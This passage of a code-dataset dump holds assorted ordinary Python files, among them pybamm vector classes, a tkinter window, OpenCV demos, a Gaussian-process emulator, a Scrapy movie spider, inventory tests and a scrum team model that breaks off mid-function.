InformationsData()\n","sub_path":"logotheras/data/logotherasdata.py","file_name":"logotherasdata.py","file_ext":"py","file_size_in_byte":12125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"530489723","text":"#\n# Vector classes\n#\nimport pybamm\n\nimport numpy as np\nfrom scipy.sparse import csr_matrix\n\n\nclass Vector(pybamm.Array):\n \"\"\"node in the expression tree that holds a vector type (e.g. :class:`numpy.array`)\n\n **Extends:** :class:`Array`\n\n Parameters\n ----------\n\n entries : numpy.array\n the array associated with the node\n name : str, optional\n the name of the node\n domain : iterable of str, optional\n list of domains the parameter is valid over, defaults to empty list\n\n \"\"\"\n\n def __init__(self, entries, name=None, domain=[], entries_string=None):\n # make sure that entries are a vector (can be a column vector)\n if entries.ndim == 1:\n entries = entries[:, np.newaxis]\n if entries.shape[1] != 1:\n raise ValueError(\n \"\"\"\n Entries must have 1 dimension or be column vector, not have shape {}\n \"\"\".format(\n entries.shape\n )\n )\n if name is None:\n name = \"Column vector of length {!s}\".format(entries.shape[0])\n\n super().__init__(entries, name, domain, entries_string)\n\n def _jac(self, variable):\n \"\"\" See :meth:`pybamm.Symbol._jac()`. \"\"\"\n # Get indices of state vector\n variable_y_indices = np.arange(variable.y_slice.start, variable.y_slice.stop)\n # Return zeros of correct size\n jac = csr_matrix((np.size(self), np.size(variable_y_indices)))\n return pybamm.Matrix(jac)\n\n\nclass StateVector(pybamm.Symbol):\n \"\"\"\n node in the expression tree that holds a slice to read from an external vector type\n\n Parameters\n ----------\n\n y_slice: slice\n the slice of an external y to read\n name: str, optional\n the name of the node\n domain : iterable of str, optional\n list of domains the parameter is valid over, defaults to empty list\n\n *Extends:* :class:`Array`\n \"\"\"\n\n def __init__(self, y_slice, name=None, domain=[]):\n if name is None:\n if y_slice.start is None:\n name = \"y[:{:d}]\".format(y_slice.stop)\n else:\n name = \"y[{:d}:{:d}]\".format(y_slice.start, y_slice.stop)\n self._y_slice = y_slice\n super().__init__(name=name, domain=domain)\n\n @property\n def y_slice(self):\n \"\"\"Slice of an external y to read\"\"\"\n return self._y_slice\n\n def set_id(self):\n \"\"\" See :meth:`pybamm.Symbol.set_id()` \"\"\"\n self._id = hash(\n (self.__class__, self.name, self.y_slice.start, self.y_slice.stop)\n + tuple(self.domain)\n )\n\n def _base_evaluate(self, t=None, y=None):\n \"\"\" See :meth:`pybamm.Symbol._base_evaluate()`. \"\"\"\n if y is None:\n raise TypeError(\"StateVector cannot evaluate input 'y=None'\")\n if y.shape[0] < self.y_slice.stop:\n raise ValueError(\n \"y is too short, so value with slice is smaller than expected\"\n )\n else:\n out = y[self._y_slice]\n if out.ndim == 1:\n out = out[:, np.newaxis]\n return out\n\n def jac(self, variable):\n \"\"\"\n Differentiate a slice of a StateVector of size m with respect to another\n slice of a StateVector of size n. This returns a (sparse) matrix of size\n m x n with ones where the y slices match, and zeros elsewhere.\n\n Parameters\n ----------\n variable : :class:`pybamm.Symbol`\n The variable with respect to which to differentiate\n\n \"\"\"\n\n # Get inices of state vectors\n self_y_indices = np.arange(self.y_slice.start, self.y_slice.stop)\n variable_y_indices = np.arange(variable.y_slice.start, variable.y_slice.stop)\n\n # Return zeros of correct size if no entries match\n if np.size(np.intersect1d(self_y_indices, variable_y_indices)) == 0:\n jac = csr_matrix((np.size(self_y_indices), np.size(variable_y_indices)))\n else:\n # Populate entries corresponding to matching y slices, and shift so\n # that the matrix is the correct size\n row = (\n np.intersect1d(self_y_indices, variable_y_indices) - self.y_slice.start\n )\n col = (\n np.intersect1d(self_y_indices, variable_y_indices)\n - variable.y_slice.start\n )\n data = np.ones_like(row)\n jac = csr_matrix(\n (data, (row, col)),\n shape=(np.size(self_y_indices), np.size(variable_y_indices)),\n )\n return pybamm.Matrix(jac)\n\n def new_copy(self):\n \"\"\" See :meth:`pybamm.Symbol.new_copy()`. \"\"\"\n return StateVector(self.y_slice, self.name, domain=self.domain)\n\n def evaluate_for_shape(self):\n \"\"\"\n Returns a vector of NaNs to represent the shape of a StateVector.\n See :meth:`pybamm.Symbol.evaluate_for_shape()`\n \"\"\"\n start = self.y_slice.start or 0\n return np.nan * np.ones((self.y_slice.stop - start, 1))\n","sub_path":"pybamm/expression_tree/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"119264561","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom tkinter import filedialog\n\nfrom res import string\nfrom res import data\nfrom res.colors import font\nfrom res.colors import font_bold\n\nfrom customElements import elements\n\nfrom funtions import function\nfrom funtions import STR\n\nfrom styles.style import *\n\nimport Log\n\n\ndef compare(elementFocus, elementUnfocus, firstSet, secondSet, firstLabel, secondLabel):\n elementFocus.config(font=font_bold)\n elementUnfocus.config(font=font)\n firstLabel.setText(firstSet)\n secondLabel.setText(secondSet)\n\n\ndef openFile(element):\n try:\n file = filedialog.askopenfile(mode='r', defaultextension='.txt')\n element.setText(file.read())\n Log.simpleLog(\"window5.openFile: successful\")\n except Exception:\n messagebox.showerror(title=\"Упс!\", message=\"Виникла помилка...\")\n Log.errorLog(\"window5.openFile: error\")\n\n\ndef createWindow():\n if data.powerA != 0 or data.powerB != 0 or data.powerC != 0:\n setSimpleFunc = STR.toString(\n function.simpleFunc(set(data.elementsA), set(data.elementsB), set(data.elementsC), set(data.rangeU)))\n setFullFunc = STR.toString(\n function.fullFunc(set(data.elementsA), set(data.elementsB), set(data.elementsC), set(data.rangeU)))\n setMyZFunc = STR.toString(function.zFunc(data.elementsB, set(data.rangeU).difference(set(data.elementsA))))\n setPyZFunc = STR.toString(data.elementsB | set(data.rangeU).difference(set(data.elementsA)))\n\n top = mainWindowStyle(Toplevel())\n top.title(string.window_2_title)\n Log.simpleLog(\"window5: window created\")\n\n setsLabels = mainWindowStyle(Frame(top))\n Log.simpleLog(\"window5: labels frame created\")\n\n simpleD = elements.ScrollableText(setsLabels, \"\", 1, 0)\n fullD = elements.ScrollableText(setsLabels, \"\", 1, 1)\n customZ = elements.ScrollableText(setsLabels, \"\", 1, 2)\n pythonZ = elements.ScrollableText(setsLabels, \"\", 1, 3)\n\n menuButtonStyle(Button(setsLabels, text=\"Simple D \", command=lambda elem=simpleD: openFile(elem))) \\\n .grid(row=0, column=0)\n menuButtonStyle(Button(setsLabels, text=\"Full D \", command=lambda elem=fullD: openFile(elem))) \\\n .grid(row=0, column=1)\n menuButtonStyle(Button(setsLabels, text=\"Custom Z \", command=lambda elem=customZ: openFile(elem))) \\\n .grid(row=0, column=2)\n menuButtonStyle(Button(setsLabels, text=\"Python Z\", command=lambda: pythonZ.setText(setPyZFunc))) \\\n .grid(row=0, column=3)\n Log.simpleLog(\"window5: labels frame elements created\")\n\n setsLabels.pack()\n\n comparator = mainWindowStyle(Frame(top))\n\n comparatorLabels = mainWindowStyle(Frame(comparator))\n firstCompareLabel = elements.ScrollableText(comparatorLabels, \"\", 0, 0)\n secondCompareLabel = elements.ScrollableText(comparatorLabels, \"\", 0, 1)\n\n comparatorButtons = mainWindowStyle(Frame(comparator))\n firstCompareBTN = menuButtonStyle(Button(comparatorButtons, text=\"1  2\"))\n secondCompareBTN = menuButtonStyle(Button(comparatorButtons, text=\"3  4\"))\n\n firstCompareBTN.config(command=lambda a=firstCompareBTN, b=secondCompareBTN, c=setSimpleFunc, d=setFullFunc,\n e=firstCompareLabel, f=secondCompareLabel: compare(a, b, c, d, e, f))\n firstCompareBTN.grid(row=0, column=0)\n secondCompareBTN.config(command=lambda a=secondCompareBTN, b=firstCompareBTN, c=setMyZFunc, d=setPyZFunc,\n e=firstCompareLabel, f=secondCompareLabel: compare(a, b, c, d, e, f))\n secondCompareBTN.grid(row=0, column=1)\n comparatorButtons.pack()\n comparatorLabels.pack()\n comparator.pack()\n\n else:\n messagebox.showerror(\"Введіть данні!!!\", \"Заповніть усі поля на головному вікні\")\n Log.errorLog(\"window5: empty fields error \")\n","sub_path":"Python/DMLabs/window5.py","file_name":"window5.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"20065167","text":"import cv2\nimport numpy as np\n#mouse callback function\ndef draw_circle(event,x,y,flags,param):\n if event==cv2.EVENT_LBUTTONDBLCLK: #左邊滑鼠按兩下\n cv2.circle(img,(x,y),100,(255,0,0),-1)\n \n# 创建图像与窗口并将窗口与回䖲函数绑定\nimg=np.zeros((512,512,3),np.uint8) #產生黑色圖\ncv2.namedWindow('image') #開視窗\ncv2.setMouseCallback('image',draw_circle)\nwhile(1):\n cv2.imshow('image',img)\n if cv2.waitKey(20)&0xFF==27:\n break\ncv2.destroyAllWindows()\n","sub_path":"test5.py","file_name":"test5.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"161154360","text":"from __future__ import division\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, RationalQuadratic,WhiteKernel, ExpSineSquared\nimport pickle\nimport cea.config\nimport cea.inputlocator\nfrom sklearn.externals import joblib # this is like the python pickle package\nimport time\n\n__author__ = \"Adam Rysanek\"\n__copyright__ = \"Copyright 2017, Architecture and Building Systems - ETH Zurich\"\n__credits__ = [\"Adam Rysanek, Jimeno A. Fonseca\"]\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Daren Thomas\"\n__email__ = \"cea@arch.ethz.ch\"\n__status__ = \"Production\"\n\ndef gaussian_emulator(locator, config):\n \"\"\"\n Thi is a Gaussian process linear emulator. It is used to create a surrogate model of CEA whose\n output is either rmse or cvrmse\n\n for more details on the work behind this please check:\n Rysanek A., Fonseca A., Schlueter, A. Bayesian calibration of Dyanmic building Energy Models. Applied Energy 2017.\n\n :param locator: pointer to location of CEA files\n :param samples: matrix m x n with samples simulated from CEA. m are the number of input variables [0,1]\n :param cv_rmse: array with results of cv_rmse after running n samples.\n :param building_name: name of building whose calibration process is being acted upon\n :return:\n file with database of emulator stored in locator.get_calibration_cvrmse_file(building_name)\n\n \"\"\"\n # INITIALIZE TIMER\n t0 = time.clock()\n\n # Local variables\n building_name = config.single_calibration.building\n building_load = config.single_calibration.load\n with open(locator.get_calibration_problem(building_name, building_load),'r') as input_file:\n problem = pickle.load(input_file)\n samples_norm = problem[\"samples_norm\"]\n target = problem[\"cv_rmse\"]\n\n # Kernel with parameters given in GPML book for the gaussian surrogate models. The hyperparameters are optimized so you can get anything here.\n k1 = 5**2 * RBF(length_scale=1e-5) # long term smooth rising trend RBF: radio basis functions (you can have many, this is one).\n k2 = 5**2 * RBF(length_scale=0.000415) * ExpSineSquared(length_scale=3.51e-5, periodicity=0.000199) # seasonal component\n # medium term irregularity\n k3 = 316**2 * RationalQuadratic(length_scale=3.54, alpha=1e+05)\n k4 = 316**2 * RBF(length_scale=4.82) + WhiteKernel(noise_level=0.43) # noise terms\n kernel = k1 + k2 + k3 + k4\n\n # give the data to the regressor.\n gp = GaussianProcessRegressor(kernel=kernel, alpha=1e-7, normalize_y=True, n_restarts_optimizer=2)\n gp.fit(samples_norm, target) # then fit the gp to your observations and the minmax. It takes 30 min - 1 h.\n\n # this is the result\n joblib.dump(gp, locator.get_calibration_gaussian_emulator(building_name, building_load))\n\n time_elapsed = time.clock() - t0\n print('done - time elapsed: %d.2f seconds' % time_elapsed)\n\ndef main(config):\n\n print('Running gaussian regression for the next building =%s' % config.single_calibration.building)\n print('Running gaussian regression for the next output variable=%s' % config.single_calibration.load)\n locator = cea.inputlocator.InputLocator(scenario=config.scenario)\n gaussian_emulator(locator, config)\n\nif __name__ == '__main__':\n main(cea.config.Configuration())","sub_path":"legacy/calibration/bayesian_calibrator/calibration_gaussian_emulator.py","file_name":"calibration_gaussian_emulator.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"463292718","text":"# -*- coding: utf-8 -*-\n\"\"\"Extract raw VOC datasets to YOLO info files.\n\"\"\"\nimport os\nimport random\nfrom glob import glob\n\nimport xml.etree.ElementTree as ET\n\n# defined classes in this dataset\nclasses = [\"worker\",\"worker_no_helmet\",\"dump_truck\",\"excavator\",\"loader\",\"concrete_mixer_truck\",\"road_roller\"]\n\n# define train test split\ntest_ratio = 0.1\n\nroot_path = os.getcwd()\nvoc_path = os.path.join(root_path,\"constructionsite_dataset/VOC2007\")\nanno_path = os.path.join(voc_path,\"train/Annotations\")\njpg_path = os.path.join(voc_path,\"train/JPEGImages\")\n\ndataset_info_path = os.path.join(root_path,\"constructionsite_dataset\")\n\nif not os.path.exists(dataset_info_path):\n os.makedirs(dataset_info_path)\n\ndef convert_annotation(image_name,list_file):\n img_id = os.path.basename(image_name)[:-4]\n xml_path = os.path.join(anno_path,\"{}.xml\".format(img_id))\n in_file = open(xml_path)\n tree = ET.parse(in_file)\n root = tree.getroot()\n for obj in root.iter(\"object\"):\n difficult = obj.find(\"difficult\").text\n cls = obj.find(\"name\").text\n if cls not in classes or int(difficult) == 1:\n continue\n cls_id = classes.index(cls)\n xmlbox = obj.find(\"bndbox\")\n b = (int(xmlbox.find('xmin').text), int(xmlbox.find('ymin').text), int(xmlbox.find('xmax').text), int(xmlbox.find('ymax').text))\n list_file.write(\" \" + \" \".join([str(a) for a in b]) + \" \" + str(cls_id))\n return\n\ndef main():\n image_names = glob(os.path.join(jpg_path,\"*.jpg\"))\n num_test = int(len(image_names)*test_ratio)\n\n # write train\n train_img_names = image_names[num_test:]\n trainfile_path = os.path.join(dataset_info_path,\"voc_train.txt\")\n train_file = open(trainfile_path,\"w\")\n for i,img in enumerate(train_img_names):\n train_file.write(img)\n convert_annotation(img,train_file)\n train_file.write(\"\\n\")\n train_file.close()\n\n # write test\n test_img_names = image_names[:num_test]\n testfile_path = os.path.join(dataset_info_path,\"voc_test.txt\")\n test_file = open(testfile_path,\"w\")\n for i,img in enumerate(test_img_names):\n test_file.write(img)\n convert_annotation(img,test_file)\n test_file.write(\"\\n\")\n test_file.close()\n\n # save names\n dataset_names_path = os.path.join(dataset_info_path,\"constructionsite.names\")\n names = open(dataset_names_path,\"w\")\n for name in classes:\n names.write(name + \"\\n\")\n names.close()\n\n print(\"Done, train: {}, test:{}\".format(len(image_names)-num_test,num_test))\n return\n\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"extract_voc_to_yolo.py","file_name":"extract_voc_to_yolo.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"446128214","text":"import scrapy\nimport re\nfrom maoyan_movies.items import MaoyanMoviesItem\nfrom scrapy.selector import Selector\nfrom fake_useragent import UserAgent\n\nclass MaoyanSpider(scrapy.Spider):\n name = 'maoyan'\n allowed_domains = ['maoyan.com']\n start_urls = ['https://maoyan.com/films?showType=3']\n\n\n def __init__(self):\n ua = UserAgent(verify_ssl=False)\n cookies ='uuid_n_v=v1; uuid=37ADCBB0B82C11EA85DD839D6F814C7A07C97AE801FF4DC8BD8250A845B873E6; _csrf=32877a02a8d04b39e3f222e6b4252e292c0973a18db32cd60d8b7d80615581a7; _lxsdk_cuid=172f3f8be8ac8-08fdf560b8b4c8-4b5469-13c680-172f3f8be8ac8; _lxsdk=37ADCBB0B82C11EA85DD839D6F814C7A07C97AE801FF4DC8BD8250A845B873E6; Hm_lvt_703e94591e87be68cc8da0da7cbd0be2=1593911782,1593950967,1593951682,1593953019; Hm_lpvt_703e94591e87be68cc8da0da7cbd0be2=1593953946; __mta=210704298.1593231064909.1593321142354.1593953946484.8; mojo-uuid=3533b1aaa282adefb81243b93761bc8c; _lxsdk_s=1731ee14f08-ce7-afe-843%7C%7C24; mojo-trace-id=15; mojo-session-id={\"id\":\"52c5fbd84ad14a38b3e9c7a3abc42660\",\"time\":1593950949210}'\n self.header = {'cookies':str(cookies),'user-agent':ua.random}\n\n def start_requests(self):\n\n url='http://maoyan.com/films?showType=3'\n try:\n yield scrapy.Request(url=url, callback=self.parse, headers=self.header, dont_filter=False)\n except Exception as e:\n print(e)\n\n def parse(self, response):\n movies = Selector(response=response).xpath('//div[@class=\"channel-detail movie-item-title\"]')\n try:\n for movie in movies[0:10]:\n item = MaoyanMoviesItem()\n link_uri = movie.xpath('./a/@href').extract_first().strip()\n link = 'https://maoyan.com' + link_uri\n item['link'] = link\n yield scrapy.Request(url=link, meta={'item': item}, callback=self.parse2)\n except Exception as e:\n print(e)\n\n def parse2(self, response):\n try:\n movie = Selector(response=response).xpath('//div[@class=\"movie-brief-container\"]')\n item = response.meta['item']\n film_name = movie.xpath('./h1/text()').extract_first().strip()\n item['film_name'] = film_name\n \n film_types = movie.xpath('./ul/li[1]/*/text()').extract()\n item['film_types'] = ','.join(film_types)\n\n release_date = movie.xpath('./ul/li[3]/text()').extract_first().strip()\n release_date_update = re.sub(r'[^\\d-]', \"\", release_date)\n item['plan_date'] = release_date_update\n \n yield item\n except Exception as e:\n print(e)","sub_path":"week02/maoyan_movies/spiders/maoyan.py","file_name":"maoyan.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"294321587","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\ncap = cv2.VideoCapture(0)\n\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n\n #frameBlur = cv2.GaussianBlur(frame,(5,5),0)\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n ret,threshFrame = cv2.threshold(gray, 30, 255, cv2.THRESH_BINARY_INV)\n\n #edges = cv2.Canny(gray,100,200)\n\n # detect if a phone shows up in frame.. but how?\n # possibly find enclosed region with a certain area?\n #sedgeFrame = edges[100:480, 400:]\n #finalFrame = frameBlur[100:480, 400:]\n\n cv2.imshow('frame',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()","sub_path":"VideoCapture.py","file_name":"VideoCapture.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"52513907","text":"\"\"\"test inventory management integration\"\"\"\nimport unittest\nfrom unittest import TestCase\nfrom unittest.mock import patch\nfrom lesson1.inventory_management import main as ma # pylint: disable=import-error\nfrom lesson1.test_unit import SAMPLE_GENE_ITEM_DICT # pylint: disable=import-error\nfrom lesson1.test_unit import SAMPLE_ELEC_ITEM_DICT # pylint: disable=import-error\nfrom lesson1.test_unit import SAMPLE_FURN_ITEM_DICT # pylint: disable=import-error\n\n# integration testing\n# linting\n# for each set of tests create a class\n# cd C:\\Users\\mimcdona\\Dropbox\\UW\\UW-Python220_Project\n# python -m unittest lesson1\\test_integration.py\n# python -m coverage run --source=inventory_management -m unittest lesson1\\test_integration.py\n# python -m coverage report\n\n\nclass TestIntegration(TestCase):\n \"\"\"test inventory management integration\"\"\"\n ma.FULL_INVENTORY = {}\n sample_valid_prompts = ['1', '2', 'q']\n current_valid_prompt_cnt = 3\n\n # pylint: disable-msg=too-many-locals\n def test_inventory_management(self):\n \"\"\"test inventory management integration\"\"\"\n\n counter = 0\n input_chair = [100, 'Chair', 24, 'y', 'wood', 'L']\n input_blender = [10, 'Blender', 24, 'n', 'y', 'Omega', '120']\n input_tape = [1, 'Tape', 24, 'n', 'n']\n\n # input\n for i in TestIntegration.sample_valid_prompts:\n with patch('builtins.input', side_effect=i):\n if i == 1:\n self.assertEqual(ma.main_menu(), ma.add_new_item)\n if i == 2:\n self.assertEqual(ma.main_menu(), ma.item_info)\n if i == 'q':\n self.assertEqual(ma.main_menu(), ma.exit_program)\n counter = counter + 1\n self.assertEqual(TestIntegration.current_valid_prompt_cnt, counter)\n\n # add_new_item\n with patch('builtins.input', side_effect=input_chair):\n new_furn_item = ma.add_new_item()\n with patch('builtins.input', side_effect=input_blender):\n new_eac_item = ma.add_new_item()\n with patch('builtins.input', side_effect=input_tape):\n new_generic_item = ma.add_new_item()\n print(new_furn_item)\n print(new_eac_item)\n print(new_generic_item)\n self.assertEqual(3, len(ma.FULL_INVENTORY))\n self.assertEqual(SAMPLE_GENE_ITEM_DICT[1], ma.FULL_INVENTORY[1]) # tape\n self.assertEqual(list(SAMPLE_ELEC_ITEM_DICT.values())[0], ma.FULL_INVENTORY[10]) # blender\n self.assertEqual(list(SAMPLE_FURN_ITEM_DICT.values())[0], ma.FULL_INVENTORY[100]) # chair\n\n # item_info\n generic_info_print = 'product_code: 1\\ndescription: ' \\\n 'Tape\\nmarket_price: 24\\nrental_price: 24\\n'\n item_code = [1]\n with patch('builtins.input', side_effect=item_code):\n tape_info = ma.item_info()\n self.assertEqual(print(generic_info_print), print(tape_info))\n\n elec_info_print = 'product_code: 10\\ndescription:Blender\\nmarket_price:' \\\n '24\\nrental_price:24\\nbrand:Omega\\nvoltage:120\\n'\n item_code = [10]\n with patch('builtins.input', side_effect=item_code):\n blender_info = ma.item_info()\n print(blender_info)\n self.assertEqual(print(elec_info_print), print(blender_info))\n furn_info_print = 'product_code: 100\\ndescription:Chair\\nmarket_price:' \\\n '24\\nrental_price:24\\nmaterial:wood\\nsize:L\\n'\n item_code = [100]\n with patch('builtins.input', side_effect=item_code):\n chair_info = ma.item_info()\n print(blender_info)\n self.assertEqual(print(furn_info_print), print(chair_info))\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"students/michael_mcdonald/lesson1/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"486128619","text":"import pprint\nH, N = list(map(int, input().split()))\n\nA, B = [0]*N, [0]*N\n\n\nfor i in range(N):\n a, b = list(map(int, input().split()))\n A[i], B[i] = a, b\n\nmaxDamage = H + max(A)\n\ndp = [[float(\"inf\") for _ in range(maxDamage+1)] for _ in range(N+1)]\ndp[0][0] = 0\n\nfor i in range(N):\n for j in range(maxDamage+1):\n\n if j < A[i]:\n dp[i+1][j] = dp[i][j]\n\n else:\n res1 = dp[i][j]\n res2 = dp[i+1][j - A[i]] + B[i]\n\n dp[i+1][j] = min(res1, res2)\n\n# pprint.pprint(dp)\nprint(min(dp[N][H:]))\n","sub_path":"practice/ABC153_d.py","file_name":"ABC153_d.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"130884689","text":"def choice_of_weapon():\n print(\"Вот твой арсенал: \")\n print(\"1) Меч\")\n print(\"2) Лук\")\n print(\"3) Копьё\")\n\n\ndef firstb():\n print(\"Первый босс. Босса нужно побеждать в ближнем бою. Какое оружие ты выберешь?\")\n choice_of_weapon()\n a = int(input())\n if a == 1:\n print(\"Правильно, ты выбрал правильное оружие. Проходи дальше\")\n secondb()\n else:\n print(\"ты умер. Начинай заново\")\n firstb()\n\ndef secondb():\n print(\"Второй босс. Босса нужно побеждать на расстояние, но и не из лука. Какое оружие ты выберешь?\")\n choice_of_weapon()\n a = int(input())\n if a == 3:\n print(\"Правильно, ты выбрал правильное оружие. Проходи дальше\")\n thirdb()\n else:\n print(\"ты умер. Начинай заново\")\n firstb()\ndef thirdb():\n print(\"Третий босс. Босса нужно побеждать на расстоянии. Какое оружие ты выберешь?\")\n choice_of_weapon()\n a = int(input())\n if a == 2:\n print(\"ты победил\")\n input()\n else:\n print(\"ты умер. Начинай игру заново\")\n firstb()\n\n\n'''\nПравильные ответы:\n1) 1\n2) 3\n3) 2\n'''\nprint(\"Приветсвую. Хочешь получить 10000000$? Тогда тебе нужно победить 3 монстров, а в конце сможешь забрать свой приз. Боссы будут нелегкие и тебе придется подбирать оружие для каждого из них. \")\nfirstb()\n\n\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"411237798","text":"import unittest\nfrom pyflightcoach.log_register.tables import BoxReg, Log, create_db, Sequence\nimport os\nimport shutil\nimport numpy as np\nimport pandas as pd\nfrom pathlib import Path\nfrom flightdata import Flight\nfrom io import open\nfrom streamlit.uploaded_file_manager import UploadedFile, UploadedFileRec\nfrom geometry import GPSPosition\nfrom flightanalysis.flightline import Box\nfrom sqlalchemy.exc import IntegrityError\n\nclass TestLog(unittest.TestCase):\n def setUp(self):\n self.path = Path('tests/temp/')\n Log.rootfolder = self.path\n try:\n shutil.rmtree(self.path)\n except FileNotFoundError:\n pass\n os.mkdir(self.path)\n self.engine, self.Session = create_db(\"sqlite:///:memory:\")\n\n def tearDown(self) -> None:\n shutil.rmtree(self.path)\n return super().tearDown()\n\n def test_register_log(self):\n newlog = Log.register_bin(Path('data/logs/bins/00000150.BIN'))\n self.assertIsInstance(newlog, Log)\n # self.assertEqual(path.bin_file, )\n allbins = [f for f in self.path.rglob('*.BIN')]\n self.assertEqual(len(allbins), 1)\n self.assertEqual(str(allbins[0]), newlog.bin_file)\n\n flight = newlog.flight()\n self.assertIsInstance(flight, Flight)\n\n allcsvs = [f for f in self.path.rglob('*.csv')]\n self.assertEqual(len(allcsvs), 1)\n self.assertEqual(str(allcsvs[0]), newlog.csv_file)\n\n def test_register_bin_uploaded(self):\n with open(Path('data/logs/bins/00000150.BIN'), 'rb') as f:\n newlog = Log.register_bin(UploadedFile(\n UploadedFileRec(0, f.name, 'BIN', f.read())))\n self.assertIsInstance(newlog, Log)\n allbins = [f for f in self.path.rglob('*.BIN')]\n self.assertEqual(len(allbins), 1)\n self.assertEqual(str(allbins[0]), newlog.bin_file)\n\n\nclass TestSequence(unittest.TestCase):\n def setUp(self):\n self.path = Path('tests/temp/')\n Log.rootfolder = self.path\n try:\n shutil.rmtree(self.path)\n except FileNotFoundError:\n pass\n os.mkdir(self.path)\n self.engine, self.Session = create_db(\"sqlite:///:memory:\")\n\n def tearDown(self) -> None:\n shutil.rmtree(self.path)\n return super().tearDown()\n\n def test_get_or_create(self):\n sess = self.Session()\n p21 = Sequence.get_or_create(sess, 'P21')\n p212 = Sequence.get_or_create(sess, 'P21')\n self.assertEqual(p21.id, p212.id)\n\n\nclass TestBoxReg(unittest.TestCase):\n def setUp(self):\n self.path = Path('tests/temp/')\n Log.rootfolder = self.path\n try:\n shutil.rmtree(self.path)\n except FileNotFoundError:\n pass\n os.mkdir(self.path)\n self.engine, self.Session = create_db(\"sqlite:///:memory:\")\n\n def tearDown(self) -> None:\n shutil.rmtree(self.path)\n return super().tearDown()\n\n def test_from_box(self):\n sess = self.Session()\n \n box = Box.from_json('data/flightlines/gordano_box.json')\n box1 = Box.from_json('data/flightlines/gordano_box.json')\n box1.pilot_position.latitude = 0.0\n box2 = Box.from_json('data/flightlines/buckminster.json')\n\n fl = BoxReg.from_box(sess,box)\n self.assertEqual(fl.pilot_lat, box.pilot_position.latitude)\n self.assertEqual(fl.pilot_long, box.pilot_position.longitude)\n with self.assertRaises(Exception):\n fl = BoxReg.from_box(sess,box1)\n\n fl2 = BoxReg.from_box(sess,box2)\n self.assertEqual(fl2.country, fl.country)\n\n def test_box(self):\n sess = self.Session()\n \n box = Box.from_json('data/flightlines/gordano_box.json')\n fl = BoxReg.from_box(sess,box)\n bx = fl.box\n self.assertEqual(box.pilot_position.latitude, bx.pilot_position.latitude)\n","sub_path":"tests/test_log_register_tables.py","file_name":"test_log_register_tables.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"216054773","text":"# -*- coding: utf-8 -*-. \n\nimport sys\n# Ruta que permite utilizar el módulo backlog.py\nsys.path.append('app/scrum')\n\nfrom backLog import *\n\n# Declaracion de constantes.\nCONST_MAX_NAME_USERNAME = 17\nCONST_MIN_NAME_USERNAME = 1\nCONST_MIN_ROL = 11\nCONST_MAX_ROL = 14\n\n\nclass team(object):\n '''Clase que permite manejar los Equipos de manera persistente'''\n \n def emptyTable(self):\n '''Permite saber si la tabla equipo esta vacia'''\n aTeam = clsEquipo.query.all()\n return (aTeam == [])\n\n def getTeam(self,idBacklog):\n '''Entrega la lista de miembros de un equipo'''\n\n aTeam = clsEquipo.query.filter_by(EQ_idBacklog = idBacklog).all()\n\n return (aTeam)\n\n def verifyScrumMaster(self,lista):\n cant = 0\n for miembro in lista:\n if miembro['rol'] == \"Scrum master\":\n cant += 1\n if cant > 1:\n return False\n return True\n\n def deleteMiembro(self, username, rol,idBacklog):\n '''Permite eliminar un miembro de un equipo'''\n \n checkTypeUsername = type(username) == str\n checkTypeRol = type(rol) == str\n checkTypeId = type(idBacklog) == int\n \n if checkTypeUsername and checkTypeRol and checkTypeId:\n checkLongName = CONST_MIN_NAME_USERNAME <= len(username) <= CONST_MAX_NAME_USERNAME\n checkLongRol = CONST_MIN_ROL <= len(rol) <= CONST_MAX_ROL\n checkLongId = CONST_MIN_ID <= idBacklog \n \n \n if checkLongName and checkLongRol:\n foundBacklog = clsBacklog.query.filter_by(BL_idBacklog = idBacklog).all()\n \n \n if foundBacklog != [] or idBacklog == 0:\n foundUser = clsUser.query.filter_by(U_username = username).all()\n \n\n if foundUser != []:\n foundMiembro = clsEquipo.query.filter_by(EQ_username = username, EQ_idBacklog = idBacklog).all()\n \n if foundMiembro != []:\n for i in foundMiembro: \n db.session.delete(i) \n db.session.commit()\n return True\n\n\n return False \n\n def insertMiembro(self,username,rol,idBacklog):\n '''Permite insertar un miembro a un equipo'''\n \n 